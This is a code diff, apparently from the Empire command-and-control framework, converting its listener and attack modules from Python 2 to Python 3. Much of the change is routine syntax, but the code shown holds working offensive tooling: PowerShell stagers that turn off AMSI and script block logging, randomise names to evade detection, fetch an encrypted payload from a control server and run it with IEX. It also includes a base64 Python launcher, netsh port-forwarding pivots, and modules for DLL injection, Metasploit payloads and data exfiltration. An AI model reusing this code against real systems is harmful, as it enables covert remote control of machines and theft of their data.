129 stager += "'signatures','N'+'onPublic,Static'"
130 stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
131
123 if scriptLogBypass:
124 stager += bypasses.scriptBlockLogBypass()
132125 # @mattifestation's AMSI bypass
133 stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
134 stager += "'System.Management.Automation.AmsiUtils'"
135 stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
136 stager += "'amsiInitFailed','NonPublic,Static'"
137 stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
126 if AMSIBypass:
127 stager += bypasses.AMSIBypass()
128 # rastamouse AMSI bypass
129 if AMSIBypass2:
130 stager += bypasses.AMSIBypass2()
138131 stager += "};"
139132 stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
140133
141 stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
134 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+"=New-Object System.Net.WebClient;")
142135
143136 if userAgent.lower() == 'default':
144137 profile = listenerOptions['DefaultProfile']['Value']
152145 if userAgent.lower() != 'none' or proxy.lower() != 'none':
153146
154147 if userAgent.lower() != 'none':
155 stager += helpers.randomize_capitalization('$wc.Headers.Add(')
148 stager += helpers.randomize_capitalization('$'+helpers.generate_random_script_var_name("wc")+'.Headers.Add(')
156149 stager += "'User-Agent',$u);"
157150
158151 if proxy.lower() != 'none':
159152 if proxy.lower() == 'default':
160 stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
153 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
161154 else:
162155 # TODO: implement form for other proxy
163156 stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
164 stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
157 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy = $proxy;")
165158 if proxyCreds.lower() == "default":
166 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
159 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
167160 else:
168161 # TODO: implement form for other proxy credentials
169162 username = proxyCreds.split(':')[0]
175168 else:
176169 usr = username.split('\\')[0]
177170 stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
178 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
171 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = $netcred;")
179172
180173 #save the proxy settings to use during the entire staging process and the agent
181 stager += "$Script:Proxy = $wc.Proxy;"
174 stager += "$Script:Proxy = $"+helpers.generate_random_script_var_name("wc")+".Proxy;"
182175
183176 # TODO: reimplement stager retries?
184177 #check if we're using IPv6
203196 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
204197 b64RoutingPacket = base64.b64encode(routingPacket)
205198
206 stager += "$ser='%s';$t='%s';" % (host, stage0)
199 #stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';"
200 stager += "$ser='%s';$t='%s';$hop='%s';" % (helpers.obfuscate_call_home_address(host), stage0, listenerName)
201
207202 #Add custom headers if any
208203 if customHeaders != []:
209204 for header in customHeaders:
212207 #If host header defined, assume domain fronting is in use and add a call to the base URL first
213208 #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
214209 if headerKey.lower() == "host":
215 stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
216
217 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
210 stager += helpers.randomize_capitalization("try{$ig=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser)}catch{};")
211
212 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
218213 stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
219214
220215 # add the RC4 packet to a cookie
221216
222 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
217 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
223218 stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
224219
225220
226 stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);")
221 stager += helpers.randomize_capitalization("$data=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser+$t);")
227222 stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
228223
229224 # decode everything and kick it over to IEX to kick off execution
250245 if safeChecks.lower() == 'true':
251246 launcherBase += "import re, subprocess;"
252247 launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
253 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
254 launcherBase += "out = ps.stdout.read()\n"
255 launcherBase += "ps.stdout.close()\n"
248 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
249 launcherBase += "out, err = ps.communicate()\n"
256250 launcherBase += "if re.search(\"Little Snitch\", out):\n"
257251 launcherBase += " sys.exit()\n"
258252 except Exception as e:
259253 p = "[!] Error setting LittleSnitch in stager: " + str(e)
260 print helpers.color(p, color='red')
254 print(helpers.color(p, color='red'))
261255
262256 if userAgent.lower() == 'default':
263257 profile = listenerOptions['DefaultProfile']['Value']
331325
332326 if encode:
333327 launchEncoded = base64.b64encode(launcherBase)
334 launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % (launchEncoded)
328 launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
335329 return launcher
336330 else:
337331 return launcherBase
338332
339333 else:
340 print helpers.color("[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")
334 print(helpers.color("[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."))
341335
342336 else:
343 print helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!")
337 print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
344338
345339
346340 def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
349343 implemented to return the stage1 key-negotiation stager code.
350344 """
351345 if not language:
352 print helpers.color('[!] listeners/http generate_stager(): no language specified!')
346 print(helpers.color('[!] listeners/http generate_stager(): no language specified!'))
353347 return None
354348
355349
455449 return stager
456450
457451 else:
458 print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
452 print(helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
459453
460454
461455 def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""):
464458 implemented to return the actual staged agent code.
465459 """
466460 if not language:
467 print helpers.color('[!] listeners/http generate_agent(): no language specified!')
461 print(helpers.color('[!] listeners/http generate_agent(): no language specified!'))
468462 return None
469463
470464 language = language.lower()
530524
531525 return code
532526 else:
533 print helpers.color("[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
527 print(helpers.color("[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
534528
535529
536530 def generate_comms(self, listenerOptions, language=None):
537531 """
538532 Generate just the agent communication code block needed for communications with this listener.
539533 This is so agents can easily be dynamically updated for the new listener.
540
534
541535 This should be implemented for the module.
542536 """
543537
563557 $RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
564558
565559 # build the web request object
566 $wc = New-Object System.Net.WebClient
560 $"""+helpers.generate_random_script_var_name("wc")+""" = New-Object System.Net.WebClient
567561
568562 # set the proxy settings for the WC to be the default system settings
569 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
570 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
563 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
564 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
571565 if($Script:Proxy) {
572 $wc.Proxy = $Script:Proxy;
566 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = $Script:Proxy;
573567 }
574568
575 $wc.Headers.Add("User-Agent",$script:UserAgent)
576 $script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)}
577 $wc.Headers.Add("Cookie", "session=$RoutingCookie")
569 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add("User-Agent",$script:UserAgent)
570 $script:Headers.GetEnumerator() | % {$"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add($_.Name, $_.Value)}
571 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add("Cookie", "session=$RoutingCookie")
578572
579573 # choose a random valid URI for checkin
580574 $taskURI = $script:TaskURIs | Get-Random
581 $result = $wc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
575 $result = $"""+helpers.generate_random_script_var_name("wc")+""".DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
582576 $result
583577 }
584578 }
606600
607601 if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
608602 # build the web request object
609 $wc = New-Object System.Net.WebClient
603 $"""+helpers.generate_random_script_var_name("wc")+""" = New-Object System.Net.WebClient
610604 # set the proxy settings for the WC to be the default system settings
611 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
612 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
605 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
606 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
613607 if($Script:Proxy) {
614 $wc.Proxy = $Script:Proxy;
608 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = $Script:Proxy;
615609 }
616610
617 $wc.Headers.Add('User-Agent', $Script:UserAgent)
618 $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
611 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add('User-Agent', $Script:UserAgent)
612 $Script:Headers.GetEnumerator() | ForEach-Object {$"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add($_.Name, $_.Value)}
619613
620614 try {
621615 # get a random posting URI
622616 $taskURI = $Script:TaskURIs | Get-Random
623 $response = $wc.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
617 $response = $"""+helpers.generate_random_script_var_name("wc")+""".UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
624618 }
625619 catch [System.Net.WebException]{
626620 # exception posting data...
694688 return updateServers + sendMessage
695689
696690 else:
697 print helpers.color("[!] listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
691 print(helpers.color("[!] listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
698692 else:
699 print helpers.color('[!] listeners/http generate_comms(): no language specified!')
693 print(helpers.color('[!] listeners/http generate_comms(): no language specified!'))
700694
701695
702696 def start(self, name=''):
705699 here and the actual server code in another function to facilitate threading
706700 (i.e. start_server() in the http listener).
707701 """
708
702
709703 tempOptions = copy.deepcopy(self.options)
710704 listenerName = self.options['Listener']['Value']
711705 # validate that the Listener does exist
712706 if self.mainMenu.listeners.is_listener_valid(listenerName):
713707 # check if a listener for the agent already exists
714
708
715709 if self.mainMenu.listeners.is_listener_valid(tempOptions['Name']['Value']):
716 print helpers.color("[!] Pivot listener already exists on agent %s" % (tempOptions['Name']['Value']))
710 print(helpers.color("[!] Pivot listener already exists on agent %s" % (tempOptions['Name']['Value'])))
717711 return False
718712
719713 listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
753747 else{
754748 $ConnectAddress = ""
755749 $ConnectPort = ""
756
750
757751 $parts = $ConnectHost -split(":")
758752 if($parts.Length -eq 2){
759753 # if the form is http[s]://HOST or HOST:PORT
777771 $ConnectPort = $parts[2]
778772 }
779773 if($ConnectPort -ne ""){
780
774
781775 $out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
782776 if($out){
783777 $out
800794 # clone the existing listener options
801795 self.options = copy.deepcopy(listenerOptions)
802796
803 for option, values in self.options.iteritems():
797 for option, values in self.options.items():
804798
805799 if option.lower() == 'name':
806800 self.options[option]['Value'] = sessionID
813807 host = "http://%s:%s" % (tempOptions['internalIP']['Value'], tempOptions['ListenPort']['Value'])
814808 self.options[option]['Value'] = host
815809
816
810
817811 # check to see if there was a host value at all
818 if "Host" not in self.options.keys():
812 if "Host" not in list(self.options.keys()):
819813 self.options['Host']['Value'] = host
820814
821815 self.mainMenu.agents.add_agent_task_db(tempOptions['Name']['Value'], "TASK_SHELL", script)
831825 script = """
832826 """
833827
834 print helpers.color("[!] Python pivot listener not implemented")
828 print(helpers.color("[!] Python pivot listener not implemented"))
835829 return False
836830
837831 else:
838 print helpers.color("[!] Unable to determine the language for the agent")
832 print(helpers.color("[!] Unable to determine the language for the agent"))
839833
840834 else:
841 print helpers.color("[!] Agent is not present in the cache")
835 if not isElevated:
836 print(helpers.color("[!] Agent must be elevated to run a redirector"))
837 else:
838 print(helpers.color("[!] Agent is not present in the cache"))
842839 return False
843840
844841
848845 named listener here.
849846 """
850847 if name and name != '':
851 print helpers.color("[!] Killing listener '%s'" % (name))
848 print(helpers.color("[!] Killing listener '%s'" % (name)))
852849
853850 sessionID = self.mainMenu.agents.get_agent_id_db(name)
854851 isElevated = self.mainMenu.agents.is_agent_elevated(sessionID)
885882 else{
886883 $ConnectAddress = ""
887884 $ConnectPort = ""
888
885
889886 $parts = $ConnectHost -split(":")
890887 if($parts.Length -eq 2){
891888 # if the form is http[s]://HOST or HOST:PORT
909906 $ConnectPort = $parts[2]
910907 }
911908 if($ConnectPort -ne ""){
912
909
913910 $out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
914911 if($out){
915912 $out
932929 msg = "Tasked agent to uninstall Pivot listener "
933930 self.mainMenu.agents.save_agent_log(sessionID, msg)
934931
935
932
936933
937934 elif self.mainMenu.agents.get_language_db(sessionID).startswith("py"):
938
939 print helpers.color("[!] Shutdown not implemented for python")
940
935
936 print(helpers.color("[!] Shutdown not implemented for python"))
937
941938 else:
942 print helpers.color("[!] Agent is not present in the cache or not elevated")
939 print(helpers.color("[!] Agent is not present in the cache or not elevated"))
943940
944941 pass
+20
-17
lib/listeners/template.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 import random
25
811 from lib.common import messages
912
1013
11 class Listener:
14 class Listener(object):
1215
1316 def __init__(self, mainMenu, params=[]):
1417
3841 'Host' : {
3942 'Description' : 'Hostname/IP for staging.',
4043 'Required' : True,
41 'Value' : "http://%s:%s" % (helpers.lhost(), 80)
44 'Value' : "http://%s" % (helpers.lhost())
4245 },
4346 'BindIP' : {
4447 'Description' : 'The IP to bind to on the control server.',
4851 'Port' : {
4952 'Description' : 'Port for the listener.',
5053 'Required' : True,
51 'Value' : 80
54 'Value' : ''
5255 },
5356 'Launcher' : {
5457 'Description' : 'Launcher string.',
137140 self.threads = {} # used to keep track of any threaded instances of this server
138141
139142 # optional/specific for this module
140
143
141144
142145 # set the default staging key to the controller db default
143146 self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
148151 If there's a default response expected from the server that the client needs to ignore,
149152 (i.e. a default HTTP page), put the generation here.
150153 """
151 print helpers.color("[!] default_response() not implemented for listeners/template")
154 print(helpers.color("[!] default_response() not implemented for listeners/template"))
152155 return ''
153156
154157
159162
160163 for key in self.options:
161164 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
162 print helpers.color("[!] Option \"%s\" is required." % (key))
165 print(helpers.color("[!] Option \"%s\" is required." % (key)))
163166 return False
164167
165168 return True
171174 """
172175
173176 if not language:
174 print helpers.color('[!] listeners/template generate_launcher(): no language specified!')
177 print(helpers.color('[!] listeners/template generate_launcher(): no language specified!'))
175178 return None
176
179
177180 if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
178181
179182 # extract the set options for this instantiated listener
194197 return ''
195198
196199 else:
197 print helpers.color("[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")
200 print(helpers.color("[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."))
198201
199202 else:
200 print helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!")
203 print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
201204
202205
203206 def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
205208 If you want to support staging for the listener module, generate_stager must be
206209 implemented to return the stage1 key-negotiation stager code.
207210 """
208 print helpers.color("[!] generate_stager() not implemented for listeners/template")
211 print(helpers.color("[!] generate_stager() not implemented for listeners/template"))
209212 return ''
210213
211214
214217 If you want to support staging for the listener module, generate_agent must be
215218 implemented to return the actual staged agent code.
216219 """
217 print helpers.color("[!] generate_agent() not implemented for listeners/template")
220 print(helpers.color("[!] generate_agent() not implemented for listeners/template"))
218221 return ''
219222
220223
222225 """
223226 Generate just the agent communication code block needed for communications with this listener.
224227 This is so agents can easily be dynamically updated for the new listener.
225
228
226229 This should be implemented for the module.
227230 """
228231
229232 if language:
230233 if language.lower() == 'powershell':
231
234
232235 updateServers = """
233236 $Script:ControlServers = @("%s");
234237 $Script:ServerIndex = 0;
235238 """ % (listenerOptions['Host']['Value'])
236
239
237240 getTask = """
238241 $script:GetTask = {
239242
257260 # send_message()
258261 pass
259262 else:
260 print helpers.color("[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module.")
263 print(helpers.color("[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."))
261264 else:
262 print helpers.color('[!] listeners/template generate_comms(): no language specified!')
265 print(helpers.color('[!] listeners/template generate_comms(): no language specified!'))
263266
264267
265268 def start(self, name=''):
+6
-3
lib/modules/exfiltration/Invoke_ExfilDataToGitHub.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
124127 try:
125128 f = open(moduleSource, 'r')
126129 except:
127 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
130 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
128131 return ""
129132
130133 moduleCode = f.read()
136139 scriptEnd = 'Invoke-ExfilDataToGitHub'
137140
138141 # add any arguments to the end execution of the script
139 for option,values in self.options.iteritems():
142 for option,values in self.options.items():
140143 if option.lower() != "agent":
141144 if values['Value'] and values['Value'] != '':
142145 if values['Value'].lower() == "true":
+21
-9
lib/modules/external/generate_agent.py less more
0 from __future__ import print_function
1 from builtins import object
02 import os
13 import string
24 from pydispatch import dispatcher
35 from lib.common import helpers
46
5 class Module:
7
8 class Module(object):
69
710 def __init__(self, mainMenu, params=[]):
811
1417 'Description': ("Generates an agent code instance for a specified listener, "
1518 "pre-staged, and register the agent in the database. This allows "
1619 "the agent to begin beconing behavior immediately."),
20
21 'Background': True,
22
23 'OutputExtension': None,
24
25 'NeedsAdmin': False,
26
27 'OpsecSafe': True,
28
29 'Language': 'Python',
1730
1831 'Comments': []
1932 }
4962 if option in self.options:
5063 self.options[option]['Value'] = value
5164
65 def execute(self):
5266
53 def execute(self):
54
5567 listenerName = self.options['Listener']['Value']
5668 language = self.options['Language']['Value']
5769 outFile = self.options['OutFile']['Value']
5870
5971 if listenerName not in self.mainMenu.listeners.activeListeners:
60 print helpers.color("[!] Error: %s not an active listener")
72 print(helpers.color("[!] Error: %s not an active listener"))
6173 return None
6274
6375 activeListener = self.mainMenu.listeners.activeListeners[listenerName]
88100 if language.lower() == 'powershell':
89101 agentCode += "\nInvoke-Empire -Servers @('%s') -StagingKey '%s' -SessionKey '%s' -SessionID '%s';" % (host, stagingKey, sessionKey, sessionID)
90102 else:
91 print helpers.color('[!] Only PowerShell agent generation is supported at this time.')
103 print(helpers.color('[!] Only PowerShell agent generation is supported at this time.'))
92104 return ''
93
105
94106 # TODO: python agent generation - need to patch in crypto functions from the stager...
95107
96 print helpers.color("[+] Pre-generated agent '%s' now registered." % (sessionID))
108 print(helpers.color("[+] Pre-generated agent '%s' now registered." % (sessionID)))
97109
98110 # increment the supplied file name appropriately if it already exists
99111 i = 1
117129 f.write(agentCode)
118130 f.close()
119131
120 print helpers.color("[*] %s agent code for listener %s with sessionID '%s' written out to %s" % (language, listenerName, sessionID, outFile))
121 print helpers.color("[*] Run sysinfo command after agent starts checking in!")
132 print(helpers.color("[*] %s agent code for listener %s with sessionID '%s' written out to %s" % (language, listenerName, sessionID, outFile)))
133 print(helpers.color("[*] Run sysinfo command after agent starts checking in!"))
+6
-3
lib/modules/powershell/code_execution/invoke_dllinjection.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import re
14 from lib.common import helpers
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
7174 try:
7275 f = open(moduleSource, 'r')
7376 except:
74 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
77 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7578 return ""
7679
7780 moduleCode = f.read()
8184
8285 scriptEnd = "\nInvoke-DllInjection"
8386
84 for option,values in self.options.iteritems():
87 for option,values in self.options.items():
8588 if option.lower() != "agent":
8689 if values['Value'] and values['Value'] != '':
8790 scriptEnd += " -" + str(option) + " " + str(values['Value'])
+6
-3
lib/modules/powershell/code_execution/invoke_metasploitpayload.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
5356 try:
5457 f = open(moduleSource, 'r')
5558 except:
56 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
59 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
5760 return ""
5861
5962 moduleCode = f.read()
6265 script = moduleCode
6366 scriptEnd = "\nInvoke-MetasploitPayload"
6467
65 for option,values in self.options.iteritems():
68 for option,values in self.options.items():
6669 if option.lower() != "agent":
6770 if values['Value'] and values['Value'] != '':
6871 if values['Value'].lower() == "true":
+110
-107
lib/modules/powershell/code_execution/invoke_ntsd.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14 import base64
25
3 class Module:
46
7 class Module(object):
8
59 def __init__(self, mainMenu, params=[]):
6
10
711 self.info = {
812 'Name': 'Invoke-Ntsd',
9
13
1014 'Author': ['james fitts'],
11
15
1216 'Description': ("Use NT Symbolic Debugger to execute Empire launcher code"),
13
14 'Background' : True,
15
16 'OutputExtension' : None,
1717
18 'NeedsAdmin' : False,
19
20 'OpsecSafe' : False,
18 'Background': True,
2119
22 'Language' : 'powershell',
23
24 'MinLanguageVersion' : '2',
20 'OutputExtension': None,
21
22 'NeedsAdmin': False,
23
24 'OpsecSafe': False,
25
26 'Language': 'powershell',
27
28 'MinLanguageVersion': '2',
2529
2630 'Comments': [""]
2731 }
28
32
2933 # any options needed by the module, settable during runtime
3034 self.options = {
3135 # format:
3236 # value_name : {description, required, default_value}
33 'Agent' : {
34 'Description' : 'Agent to run module on.',
35 'Required' : True,
36 'Value' : ''
37 'Agent': {
38 'Description': 'Agent to run module on.',
39 'Required': True,
40 'Value': ''
3741 },
38 'UploadPath' : {
39 'Description' : 'Path to drop dll (C:\Users\Administrator\Desktop).',
40 'Required' : False,
41 'Value' : ''
42 'UploadPath': {
43 'Description': r'Path to drop dll (C:\Users\Administrator\Desktop).',
44 'Required': False,
45 'Value': ''
4246 },
43 'Listener' : {
44 'Description' : 'Listener to use.',
45 'Required' : True,
46 'Value' : ''
47 'Listener': {
48 'Description': 'Listener to use.',
49 'Required': True,
50 'Value': ''
4751 },
48 'UserAgent' : {
49 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
50 'Required' : False,
51 'Value' : 'default'
52 'UserAgent': {
53 'Description': 'User-agent string to use for the staging request (default, none, or other).',
54 'Required': False,
55 'Value': 'default'
5256 },
53 'Proxy' : {
54 'Description' : 'Proxy to use for request (default, none, or other).',
55 'Required' : False,
56 'Value' : 'default'
57 'Proxy': {
58 'Description': 'Proxy to use for request (default, none, or other).',
59 'Required': False,
60 'Value': 'default'
5761 },
58 'BinPath' : {
59 'Description' : 'Binary to set NTSD to debug.',
60 'Required' : True,
61 'Value' : "C:\\Windows\\System32\\calc.exe"
62 },
63 'Arch' : {
64 'Description' : 'Architecture the system is on.',
65 'Required' : True,
66 'Value' : 'x64'
62 'BinPath': {
63 'Description': 'Binary to set NTSD to debug.',
64 'Required': True,
65 'Value': "C:\\Windows\\System32\\calc.exe"
6766 },
68 'ProxyCreds' : {
69 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
70 'Required' : False,
71 'Value' : 'default'
67 'Arch': {
68 'Description': 'Architecture the system is on.',
69 'Required': True,
70 'Value': 'x64'
71 },
72 'ProxyCreds': {
73 'Description': r'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
74 'Required': False,
75 'Value': 'default'
7276 }
7377 }
74
78
7579 # save off a copy of the mainMenu object to access external functionality
7680 # like listeners/agent handlers/etc.
7781 self.mainMenu = mainMenu
78
82
7983 for param in params:
8084 # parameter format is [Name, Value]
8185 option, value = param
8286 if option in self.options:
8387 self.options[option]['Value'] = value
84
85
88
8689 def generate(self, obfuscate=False, obfuscationCommand=""):
87
90
8891 listenerName = self.options['Listener']['Value']
8992 uploadPath = self.options['UploadPath']['Value'].strip()
9093 bin = self.options['BinPath']['Value']
9194 arch = self.options['Arch']['Value']
9295 ntsd_exe_upload_path = uploadPath + "\\" + "ntsd.exe"
9396 ntsd_dll_upload_path = uploadPath + "\\" + "ntsdexts.dll"
94
97
9598 # staging options
9699 userAgent = self.options['UserAgent']['Value']
97100 proxy = self.options['Proxy']['Value']
98101 proxyCreds = self.options['ProxyCreds']['Value']
99
102
100103 if arch == 'x64':
101 ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd_x64.exe"
102 ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts_x64.dll"
104 ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd_x64.exe"
105 ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts_x64.dll"
103106 elif arch == 'x86':
104 ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd_x86.exe"
105 ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts_x86.dll"
106
107 ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd_x86.exe"
108 ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts_x86.dll"
109
107110 # read in the common module source code
108111 moduleSource = self.mainMenu.installPath + "data/module_source/code_execution/Invoke-Ntsd.ps1"
109112 if obfuscate:
110 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
111 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
113 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
114 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
112115 try:
113 f = open(moduleSource, 'r')
116 f = open(moduleSource, 'r')
114117 except:
115 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
116 return ""
117
118 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
119 return ""
120
118121 moduleCode = f.read()
119122 f.close()
120
123
121124 script = moduleCode
122125 scriptEnd = ""
123126 if not self.mainMenu.listeners.is_listener_valid(listenerName):
124 # not a valid listener, return nothing for the script
125 print helpers.color("[!] Invalid listener: %s" %(listenerName))
126 return ''
127 # not a valid listener, return nothing for the script
128 print(helpers.color("[!] Invalid listener: %s" % (listenerName)))
129 return ''
127130 else:
128
129 l = self.mainMenu.stagers.stagers['multi/launcher']
130 l.options['Listener']['Value'] = self.options['Listener']['Value']
131 l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
132 l.options['Proxy']['Value'] = self.options['Proxy']['Value']
133 l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
134 launcher = l.generate()
135
136 if launcher == '':
137 print helpers.color('[!] Error in launcher generation.')
138 return ''
139 else:
140 launcherCode = launcher.split(' ')[-1]
141
142 with open(ntsd_exe, 'rb') as bin_data:
143 ntsd_exe_data = bin_data.read()
144
145 with open(ntsd_dll, 'rb') as bin_data:
146 ntsd_dll_data = bin_data.read()
147
148 exec_write = "Write-Ini %s \"%s\"" % (uploadPath, launcher)
149 code_exec = "%s\\ntsd.exe -cf %s\\ntsd.ini %s" % (uploadPath, uploadPath, bin)
150 ntsd_exe_upload = self.mainMenu.stagers.generate_upload(ntsd_exe_data, ntsd_exe_upload_path)
151 ntsd_dll_upload = self.mainMenu.stagers.generate_upload(ntsd_dll_data, ntsd_dll_upload_path)
152
